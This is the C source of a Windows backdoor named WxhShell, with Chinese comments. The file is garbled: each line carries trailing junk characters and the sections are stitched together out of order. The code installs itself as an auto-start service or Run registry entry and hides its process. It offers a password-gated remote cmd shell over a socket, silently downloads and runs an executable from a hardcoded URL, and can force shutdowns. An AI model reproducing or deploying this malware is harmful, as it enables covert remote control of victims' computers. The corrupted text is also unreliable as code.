    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zWN<"[agc  
    else { }:04bIaV  
    closesocket(wsh); ,>YW7+kY  
    ExitThread(0); oGtz*AP%  
    } ~Ox !7Lp  
    break; }Kt`du=  
    } -rn%ASye  
  // 获取shell QD2;JI2  
  case 's': { ]0Y5 Z)3:z  
    CmdShell(wsh); O,a1?_m8  
    closesocket(wsh); -2o_ L?  
    ExitThread(0); DG%vEM,y  
    break; v(|Arm?  
  } `>i8$q%  
  // 退出 @N tiT,3k  
  case 'x': { Gx&o3^t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QfdATK P  
    CloseIt(wsh); ^x BQ#p  
    break; #N?VbDK9_  
    } ;hz;|\ko5  
  // 离开 mz[Q]e~&i  
  case 'q': { )#(6J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >}"9heF  
    closesocket(wsh); -nHt6AbqP  
    WSACleanup(); K:<j=j@51  
    exit(1); [w1 4hHnq  
    break; pXoD*o b  
        }  ktA5]f;  
  } jTeHI|b  
  } "j2th.  
S S)9+0$  
  // 提示信息 IonphTcU!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #YiphR&  
} 51sn+h<w  
  } :637MD>5lO  
MWl2;qi  
  return; )z" .lw  
} %X5p\VS\7  
yhuzjn  
// shell模块句柄 iImy"$yX{  
int CmdShell(SOCKET sock) Bu]PNKIi  
{ a3f- 9LN  
STARTUPINFO si; hw @)W  
ZeroMemory(&si,sizeof(si)); (D<_ iV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |ee A>z"I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qh]D=i  
PROCESS_INFORMATION ProcessInfo; }xA Eu,n^  
char cmdline[]="cmd"; 99KW("C1F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VUneCt%  
  return 0; 'vP"& lrn  
} _9pcHhJux  
E',z<S  
// 自身启动模式 _spW~"|G  
int StartFromService(void) ,pTj'I  
{ )8Q;u8jm1  
typedef struct j*6>{_[  
{ wni^qs.i@3  
  DWORD ExitStatus; =$w QA  
  DWORD PebBaseAddress; K!<3|d  
  DWORD AffinityMask; 83i;:cn  
  DWORD BasePriority; O30eq 7(  
  ULONG UniqueProcessId; x@p1(V.  
  ULONG InheritedFromUniqueProcessId; 6)h~9iK  
}   PROCESS_BASIC_INFORMATION; Ux!q(9<_  
<Od5}  
PROCNTQSIP NtQueryInformationProcess; (g*mC7 HN  
L=_   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W6A-/;S\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %7S{g  
yADX^r(  
  HANDLE             hProcess; N hY`_?)  
  PROCESS_BASIC_INFORMATION pbi; h N U.y  
Y(/y,bJ?jp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k^{}p8;3  
  if(NULL == hInst ) return 0; SR$?pJh D%  
%_L~"E 2e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O' ~>AC5{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o'KBe%@/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :#zVF[Y(2  
O:{N5+HVG  
  if (!NtQueryInformationProcess) return 0; _, r6t  
!q[r_wL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TB%NHq-!  
  if(!hProcess) return 0; :5#iVa#<  
B;A< pNT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C9j3|]nyL  
kTfE*We9  
  CloseHandle(hProcess); }nK=~Wcu\  
Maw$^Tz,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aJzyEb  
if(hProcess==NULL) return 0; "MPr'3  
$lAQcG&Q  
HMODULE hMod; :m[HUh  
char procName[255]; 3n)\D<f]#  
unsigned long cbNeeded; wlEmy.)H  
g/W&Ap;qVL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Da)H/3ii  
n.b_fkZNr  
  CloseHandle(hProcess); Fp(-&,L0fc  
zL Sha\X  
if(strstr(procName,"services")) return 1; // 以服务启动 ~j36(`t  
S rom@c  
  return 0; // 注册表启动 \B Uno6  
} nhLw&V3y  
_x]q`[Dih  
// 主模块 Yc-gJI*1  
int StartWxhshell(LPSTR lpCmdLine) 6#;u6@+}yy  
{ 7.nNz&UG]5  
  SOCKET wsl; Q- }cB  
BOOL val=TRUE; 7Ml OBPh  
  int port=0; +ZJ1> n  
  struct sockaddr_in door; >*1YL)DBT\  
QD;:!$Du  
  if(wscfg.ws_autoins) Install(); k0IztFyj:R  
dk_! ~Z  
port=atoi(lpCmdLine); wl0i3)e:  
 r<1.'F  
if(port<=0) port=wscfg.ws_port; /y3Lc.-  
}PX8#C_P  
  WSADATA data; M6lNdK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @^t1SPp  
 bE%*ZB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1UN$eb7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &9 khIJI n  
  door.sin_family = AF_INET; D9r4oRkP*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >l=;6QL  
  door.sin_port = htons(port); *lBX/O`=  
l}XnCOIT,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %g7B*AX]  
closesocket(wsl); |o#pd\  
return 1; .|/VD'xV"  
} =GL^tAUJ  
1$nuh@-ys  
  if(listen(wsl,2) == INVALID_SOCKET) { ] ?k\ qS  
closesocket(wsl); {S"!c.  
return 1; |!xqkmX  
} OP98sd&T  
  Wxhshell(wsl); UW],9r/PD@  
  WSACleanup(); |HQFqa <  
nyx(0  
return 0; blmY=/]  
VX'G\Zz@h|  
} [-hsG E  
@ 5V3I^  
// 以NT服务方式启动 ;BW-ag \9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,L;%-}#$  
{ G8@LH   
DWORD   status = 0; X-F:)/$xG  
  DWORD   specificError = 0xfffffff; J8@7 5p9  
>_u5"&q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DxzNg_E]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +|.6xC7U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a9p6[qOcd  
  serviceStatus.dwWin32ExitCode     = 0; l*|m(7s  
  serviceStatus.dwServiceSpecificExitCode = 0; POb2U1Sj  
  serviceStatus.dwCheckPoint       = 0; >]/aG!  
  serviceStatus.dwWaitHint       = 0; tREC)+*\  
S!g0J}.z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f"d4HZD^  
  if (hServiceStatusHandle==0) return; 8RJa;JsH  
T%@qlEmf  
status = GetLastError(); |K'7BK_^J  
  if (status!=NO_ERROR) 7KZ>x*o  
{ `m\l#r 2C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N3|aNQ=X0  
    serviceStatus.dwCheckPoint       = 0; AfJ.SNE  
    serviceStatus.dwWaitHint       = 0; 0Rz",Mu>  
    serviceStatus.dwWin32ExitCode     = status; 1V;m8)RF  
    serviceStatus.dwServiceSpecificExitCode = specificError; Rqun}v}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #QKgY7  
    return; [OwrIL  
  } f4+}k GJN  
zF_aJ+i:~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 86ml.VOR  
  serviceStatus.dwCheckPoint       = 0; )"&\S6*!  
  serviceStatus.dwWaitHint       = 0; M6*8}\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rE4qPzL  
} rB-}<22.  
skBzwVW I  
// 处理NT服务事件,比如:启动、停止 ; d :i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lKLb\F%  
{ "xE;IpO[  
switch(fdwControl) xi!R[xr1  
{ {>zQW{!  
case SERVICE_CONTROL_STOP: xwZ7I  
  serviceStatus.dwWin32ExitCode = 0; Vf` 9[*j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cB2jf</  
  serviceStatus.dwCheckPoint   = 0; G/?j$T  
  serviceStatus.dwWaitHint     = 0; ka[%p,H  
  { @^K_>s9B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [p 8fg!|  
  } d>jRw  
  return; T`r\yl}  
case SERVICE_CONTROL_PAUSE: <UBB&}R0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AGgL`sP  
  break; zK ir  
case SERVICE_CONTROL_CONTINUE: %( o[H sl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E@S5|CM  
  break; )jaNFJ 3  
case SERVICE_CONTROL_INTERROGATE: O<`\9  
  break; ARa9Ia{@  
}; YhJ*(oWL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hxj[gE'R(  
} n Y=]KU  
a3(q;^v  
// 标准应用程序主函数 H_+!.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6ZwFU5)QE/  
{ D3kx&AR  
etLA F  
// 获取操作系统版本 a?ii)GGq  
OsIsNt=GetOsVer(); w@\quy:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t?cO>4*|  
A]mXV4RmI  
  // 从命令行安装 jBnvu@K"  
  if(strpbrk(lpCmdLine,"iI")) Install(); x#&%lJT  
7Jvb6V<R  
  // 下载执行文件 Odj4)   
if(wscfg.ws_downexe) { o_DZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "T'?Ah6  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'X1fb:8m8  
} ` B71`  
h?2:'Vu]  
if(!OsIsNt) { OA\ *)c+F  
// 如果时win9x,隐藏进程并且设置为注册表启动 bF{14F$  
HideProc(); o&vODs  
StartWxhshell(lpCmdLine); f/K:~#k  
} Z|dng6ck  
else 4.0JgX  
  if(StartFromService()) o 2sOf  
  // 以服务方式启动 Q.]RYv}\  
  StartServiceCtrlDispatcher(DispatchTable); 0G"I}Jp{  
else L?p,Sy<RI  
  // 普通方式启动 mtu`m6Xix  
  StartWxhshell(lpCmdLine); a]u1_ $)  
vW:XM0  
return 0; 6=xbi{m$  
} \IG"Te  
4'ymPPY  
Xv1mjHZCC  
;*_U)th  
=========================================== ; \N${YIn  
6Y(Vs>  
0(~,U!g[=  
3-Xc3A=w  
Kv26rY8Q  
nkvkHh  
" rlIDym9nY~  
%knPeo&  
#include <stdio.h> d)7V:  
#include <string.h> "vnWq=E 2  
#include <windows.h> _LUTIqlvi  
#include <winsock2.h> msiftP.  
#include <winsvc.h> k4ijWo{:0  
#include <urlmon.h>   S9Ka  
" O,TL *$  
#pragma comment (lib, "Ws2_32.lib") Q\4nduQ  
#pragma comment (lib, "urlmon.lib") "mm|0PUJ  
56R)631]p  
#define MAX_USER   100 // 最大客户端连接数 d 9n{jv|  
#define BUF_SOCK   200 // sock buffer a;$'A[hq  
#define KEY_BUFF   255 // 输入 buffer crdp`}}  
t!"XQ$g'  
#define REBOOT     0   // 重启 j*aYh^  
#define SHUTDOWN   1   // 关机 7JI&tlR4\c  
BXf.^s{H  
#define DEF_PORT   5000 // 监听端口 ^7l^ /GSO  
&\0V*5tI  
#define REG_LEN     16   // 注册表键长度 [rt+KA  
#define SVC_LEN     80   // NT服务名长度 M)oJ06`K  
%7*Y@k-)o  
// 从dll定义API 5%E.UjC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 47c` ) *Hc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^,.G<2Kx&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d=B DR^/wA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ird q51{G  
 Py)'%e  
// wxhshell配置信息 uBe1{Z  
struct WSCFG { xe3t_y  
  int ws_port;         // 监听端口 "T_OLegdK  
  char ws_passstr[REG_LEN]; // 口令 "/-T{p;.  
  int ws_autoins;       // 安装标记, 1=yes 0=no TdAHw @(  
  char ws_regname[REG_LEN]; // 注册表键名 -UM5&R+o  
  char ws_svcname[REG_LEN]; // 服务名 @9!,]n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !MiH^wP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V\V:uo(C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ] EzX$T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mfNYN4Um6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *?#t (Y[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,^_aqH  
 p|D-ez8  
}; `jur`^S|  
{,|J?>{  
// default Wxhshell configuration #!%\97ZR  
struct WSCFG wscfg={DEF_PORT, }m~2[5q%/  
    "xuhuanlingzhe", p<@0b  
    1, |# zznT"  
    "Wxhshell", +I?T|Iin  
    "Wxhshell", u$ZahN!  
            "WxhShell Service", D* oJz3[  
    "Wrsky Windows CmdShell Service", \y%:[g}Fvw  
    "Please Input Your Password: ", @YEdN}es  
  1, J6H3X;vxQw  
  "http://www.wrsky.com/wxhshell.exe", ]c8O"4n n  
  "Wxhshell.exe" Ti@X< C  
    }; {bUd"Tu  
[We(0wF[`  
// 消息定义模块 :W/,V^x}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Wkk=x&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hkO)q|1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +C{ %pF  
char *msg_ws_ext="\n\rExit."; ?'_Q^O>  
char *msg_ws_end="\n\rQuit."; Y(D@B|"'m  
char *msg_ws_boot="\n\rReboot..."; #]yb;L  
char *msg_ws_poff="\n\rShutdown..."; h%Nbx:vKk  
char *msg_ws_down="\n\rSave to "; 7b2N'^z}  
%0PZZl5b  
char *msg_ws_err="\n\rErr!"; Hset(-=X  
char *msg_ws_ok="\n\rOK!"; H:ar&o#(  
GA{Q6]B  
char ExeFile[MAX_PATH]; bm{L6D E  
int nUser = 0; |xTf:@hgHf  
HANDLE handles[MAX_USER]; l/BE~gdl  
int OsIsNt; \@kY2,I V  
wNuS'P_(:T  
SERVICE_STATUS       serviceStatus; p1=sDsLL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c0Tda  
U+!H/R)(  
// 函数声明 R,hX *yVq  
int Install(void); T~k5` ~\(  
int Uninstall(void); NC; 4  
int DownloadFile(char *sURL, SOCKET wsh); P^%.7C  
int Boot(int flag); -4p^wNR  
void HideProc(void); 1u\fLAXn  
int GetOsVer(void); .&ynS  
int Wxhshell(SOCKET wsl); h-1eDxK6  
void TalkWithClient(void *cs); sa~.qmqu  
int CmdShell(SOCKET sock); t-\S/N  
int StartFromService(void); "jVMk  
int StartWxhshell(LPSTR lpCmdLine); T x_n$ &  
P]Z}% 8^O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <dTo-P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Te"<.0~1  
>9f-zv(n  
// 数据结构和表定义 c FjC  
SERVICE_TABLE_ENTRY DispatchTable[] = 8VLr*83~8  
{ 7oPBe1P,K+  
{wscfg.ws_svcname, NTServiceMain}, K5Fzmo a  
{NULL, NULL} '|e5cW6z  
}; Dg_/Iu>OAE  
^P-!pK*  
// 自我安装 ybtje=3E  
int Install(void) }6P]32d  
{ /q %TjQ}F  
  char svExeFile[MAX_PATH]; .E_`*[ 5=  
  HKEY key; K \}xb2s  
  strcpy(svExeFile,ExeFile); ?K7m:Dx  
'}c0:,5  
// 如果是win9x系统,修改注册表设为自启动 t_YiF%}s&#  
if(!OsIsNt) { 3\FiQ/?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;o\0:fzr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [IxZweK  
  RegCloseKey(key); #(@dN+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mi\f?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S8" h9|  
  RegCloseKey(key); EX8:B.z`57  
  return 0; J#CF SG  
    } wX7B&w8wV  
  } au8bEw&W  
} -t % .I=|  
else { Dj>.)n  
H BmjB=  
// 如果是NT以上系统,安装为系统服务 AKM\1H3U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &adKKYN  
if (schSCManager!=0) hHoc7  
{ #]I:}Q51  
  SC_HANDLE schService = CreateService B$Jn|J"/6  
  ( 9VIsLk54^  
  schSCManager, ;W#G<M&n'  
  wscfg.ws_svcname, +v&+8S`+  
  wscfg.ws_svcdisp, R+Ke|C  
  SERVICE_ALL_ACCESS, l\5qa_{z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mxjY-Kq  
  SERVICE_AUTO_START, ltHC+8 aZ  
  SERVICE_ERROR_NORMAL, udg;jR-^  
  svExeFile, :$[m[y7i  
  NULL, ?S!lX[#v  
  NULL, F1?@tcr'  
  NULL, <4*7HY[  
  NULL, $$ \| 3rj!  
  NULL 0;e>kz3o  
  ); Cs%'Af  
  if (schService!=0) Y&k'4Y%  
  { dvsOJj/b  
  CloseServiceHandle(schService); wmY6&^?uS  
  CloseServiceHandle(schSCManager); 0_Etm83Wq6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dW!T.S  
  strcat(svExeFile,wscfg.ws_svcname); 6ssZg@}nf{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (XT^<#Ga  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VX&KGG.6  
  RegCloseKey(key); +YhTb  
  return 0; O" ['.b  
    } +S|y)W8  
  } E](Ood  
  CloseServiceHandle(schSCManager); w0moC9#$?  
} _}`iLA!$I  
} y{K~g<VL  
? {cF'RB.  
return 1; [ OMcSd|nf  
} 34]f[jJ|  
ZWmmFKFG.  
// 自我卸载 BWL~)Hx  
int Uninstall(void) qVJV9n  
{ J_U1eSz<j  
  HKEY key; Cb.~Dv !  
y"!+Fus9  
if(!OsIsNt) { V}7I? G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LUKdu&M  
  RegDeleteValue(key,wscfg.ws_regname);  UX2`x9  
  RegCloseKey(key); _V6;`{$WK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F:IG3 @  
  RegDeleteValue(key,wscfg.ws_regname); HnioB=fc  
  RegCloseKey(key); |,t#Au}61  
  return 0; fVo)# Bj  
  } Y.F:1<FAtf  
} sxnj`z  
} Tp[ub(/;7  
else { Y4! v1  
QS_" fsyN:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X,x{!  
if (schSCManager!=0) ^7TM.lE  
{ =wU08}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nd_d tsp#  
  if (schService!=0) /$WEO[o  
  { XkuNLs4  
  if(DeleteService(schService)!=0) { im%'S6_X4  
  CloseServiceHandle(schService); B4[onYU  
  CloseServiceHandle(schSCManager); kP6g0,\|a|  
  return 0; z9&$Xao  
  } W?F+QmD  
  CloseServiceHandle(schService); ~2V|]Y;s  
  } Sxjwqqv  
  CloseServiceHandle(schSCManager); 7qgHH p  
} $0D]d.w=  
} k=w%oqpN  
uQ9P6w=Nt  
return 1; |CY.Y,  
} h3>/..l  
fX#Em'Ab[  
// 从指定url下载文件 `EBo(^n}O  
int DownloadFile(char *sURL, SOCKET wsh) =|pQA~UU#  
{ io$AGi  
  HRESULT hr; \ tF><  
char seps[]= "/"; rMfp%DMA  
char *token; Mh[;E'C6  
char *file; LJfd{R1y+  
char myURL[MAX_PATH]; >=6tfLQ  
char myFILE[MAX_PATH]; l>7`D3  
e<9IwS!/  
strcpy(myURL,sURL); <.s[x~b\`  
  token=strtok(myURL,seps); vDv:3qN7(  
  while(token!=NULL) a0CmCv2#  
  { ArbfA~jXB  
    file=token; cZZ-K?_  
  token=strtok(NULL,seps); ISa2|v;M  
  } 6*GY%~JbD  
/*`u(d2g  
GetCurrentDirectory(MAX_PATH,myFILE); @FdtM<X  
strcat(myFILE, "\\"); QP >P  
strcat(myFILE, file); ~H7m7  
  send(wsh,myFILE,strlen(myFILE),0); _rY,=h{+  
send(wsh,"...",3,0); (.m0hN!~u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oh:g  
  if(hr==S_OK) xQ^zX7  
return 0;  $3W[fC  
else k^S=i_ U  
return 1; bh3}[O,L A  
u! x9O8y  
} +i4S^B/8i  
}O<=!^Y;A  
// 系统电源模块 %mt|Dl  
int Boot(int flag) |94"bDL3~  
{ $cSrT)u :  
  HANDLE hToken; # 0dN!l;  
  TOKEN_PRIVILEGES tkp; loLQ@?E  
op/HZa  
  if(OsIsNt) { 0}PW<lU-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (@p E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #K"jtAm  
    tkp.PrivilegeCount = 1; !WR(H&uBr\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0.~QA+BD:S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r-9P&*1  
if(flag==REBOOT) { O3j:Y|N@F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4T{+R{_Y1  
  return 0; &BFW`5N  
} m@u!frE,  
else { =^|^" b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Zq}w}v  
  return 0; 6 GO7[?U<  
} m`}! dBi  
  }  -*_D!  
  else { k>FMy#N|@  
if(flag==REBOOT) { +=)< Su.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nws '%MK)  
  return 0; =%%\b_\L  
} w9SPkPkYE  
else { VL?ubt<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SWN i@  
  return 0; |ITp$  _S  
} 4h@jJm  
} dpDVEEs84  
N&]v\MjI62  
return 1; SsIy;l  
} <%8j#@OdZ  
{Uz@`QO3  
// win9x进程隐藏模块 9gZMfP  
void HideProc(void) JN .\{ Y  
{ /!=uM .  
TUw^KSa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m$ )yd~  
  if ( hKernel != NULL ) (CJiCtAsl`  
  { X};m\Bz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r/$+'~apTk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c*-8h{}  
    FreeLibrary(hKernel); pEuZsQ  
  } D^baXp8  
J}c57$Z  
return; wZJpSkcEx  
} ug'I:#@2  
XZEawJ0  
// 获取操作系统版本 IEfzu L<v  
int GetOsVer(void) 2?u>A3^R  
{ n (7m  
  OSVERSIONINFO winfo; gPSUxE `O.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =Mzg={)v  
  GetVersionEx(&winfo); g{.>nE^Sc5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :!Wijdq  
  return 1; I?YTX  
  else Dd-;;Y1C  
  return 0; +FfT)8@W  
} \_Nr7sc\  
peCmb)>Sa  
// 客户端句柄模块 <H<5E'm  
int Wxhshell(SOCKET wsl) kT&-:: ^R  
{ ,24NMv7  
  SOCKET wsh; zl F*F8>m  
  struct sockaddr_in client; L$=@j_V2  
  DWORD myID; rbiNp6AdL  
|s-q+q{|  
  while(nUser<MAX_USER) }__g\?Yf  
{ R7;SZo  
  int nSize=sizeof(client); IfzHe8>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); veFl0ILd  
  if(wsh==INVALID_SOCKET) return 1; Gtd!Y x  
)xX(Et6+`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "nPmQ  
if(handles[nUser]==0) %C\Q{_AS  
  closesocket(wsh); QZB2yK3]h  
else %Koc^ pb)  
  nUser++; 4:q<<vCJv  
  } kMWu%,s4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bj\v0NKN4  
{_0Efc=7  
  return 0; WMnR+?q  
} S+py \z%  
(Z"QHfO'  
// 关闭 socket [HI&>dm=$  
void CloseIt(SOCKET wsh) ]wh8m1  
{ I<e[/#5P\`  
closesocket(wsh); / d=i 0E3  
nUser--; r=Z#"68$  
ExitThread(0); Rp4EB:*  
} !%5ae82~3  
X&o!xV -+  
// 客户端请求句柄 [t*m$0[:  
void TalkWithClient(void *cs) \kqa4{7U(  
{ 3G9"La,b  
|7,|-s[R^  
  SOCKET wsh=(SOCKET)cs; no- Lx-x  
  char pwd[SVC_LEN]; , mEFp_a+  
  char cmd[KEY_BUFF]; %;yDiQ!+  
char chr[1]; 34-QgE  
int i,j; >8_#L2@  
s `HSTq2  
  while (nUser < MAX_USER) { E/|]xKG  
5tT-[mQ*  
if(wscfg.ws_passstr) { agQzA/Xt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0L"CM?C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0@d)DLM?  
  //ZeroMemory(pwd,KEY_BUFF); xx0s`5  
      i=0; [hTGWT3  
  while(i<SVC_LEN) { Vo}3E]  
|};]^5s9  
  // 设置超时 @P#uH5U  
  fd_set FdRead; %ANo^~8  
  struct timeval TimeOut; .yE!,^j.gB  
  FD_ZERO(&FdRead); AN7WMX  
  FD_SET(wsh,&FdRead); OLJb8kO  
  TimeOut.tv_sec=8; FL% GW:  
  TimeOut.tv_usec=0; ;v'7l>w3\w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y^m2ealC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?P@fV'Jo  
0JQy-hpF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9PjL 4A  
  pwd=chr[0]; x^Tjs<#  
  if(chr[0]==0xd || chr[0]==0xa) { xy>wA  
  pwd=0; LuY`mi  
  break; Mnyg:y*=  
  } [H;HrwM s)  
  i++; (__=*ew  
    } }1]/dCv  
vzJ69%E_  
  // 如果是非法用户,关闭 socket ?(Q" y\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Os^sOOSY  
} 9;2PoW8  
LO]D XW 9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Nv "R'Pps  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _=E))Kp{z  
3{RuR+yi  
while(1) { 0cZyO$.  
;l> xXSB7$  
  ZeroMemory(cmd,KEY_BUFF); ;8/w'oe *j  
)tR5JK} AV  
      // 自动支持客户端 telnet标准   1}#v<b$  
  j=0; !R;P"%PHV  
  while(j<KEY_BUFF) { vpXC5|9U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :,"dno7OQ  
  cmd[j]=chr[0]; H+vONg  
  if(chr[0]==0xa || chr[0]==0xd) {  \o !  
  cmd[j]=0; )#k*K9[@  
  break; $'e;ScH  
  } {9U<!  
  j++; xEQ2iCeC  
    } t^ L XGQ  
7IW:,=Zk8+  
  // 下载文件 ^@ s!"c  
  if(strstr(cmd,"http://")) { -cs 4<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =Xze).g  
  if(DownloadFile(cmd,wsh)) mj5$ 2J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Tb T  
  else JbpKstc;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g0Qg]F5D~  
  } 3 lH#+@  
  else { xal,j*  
kwNXKn/   
    switch(cmd[0]) { Oh6_Bci  
  ^-{ 1]G:  
  // 帮助 ,Hh7' `  
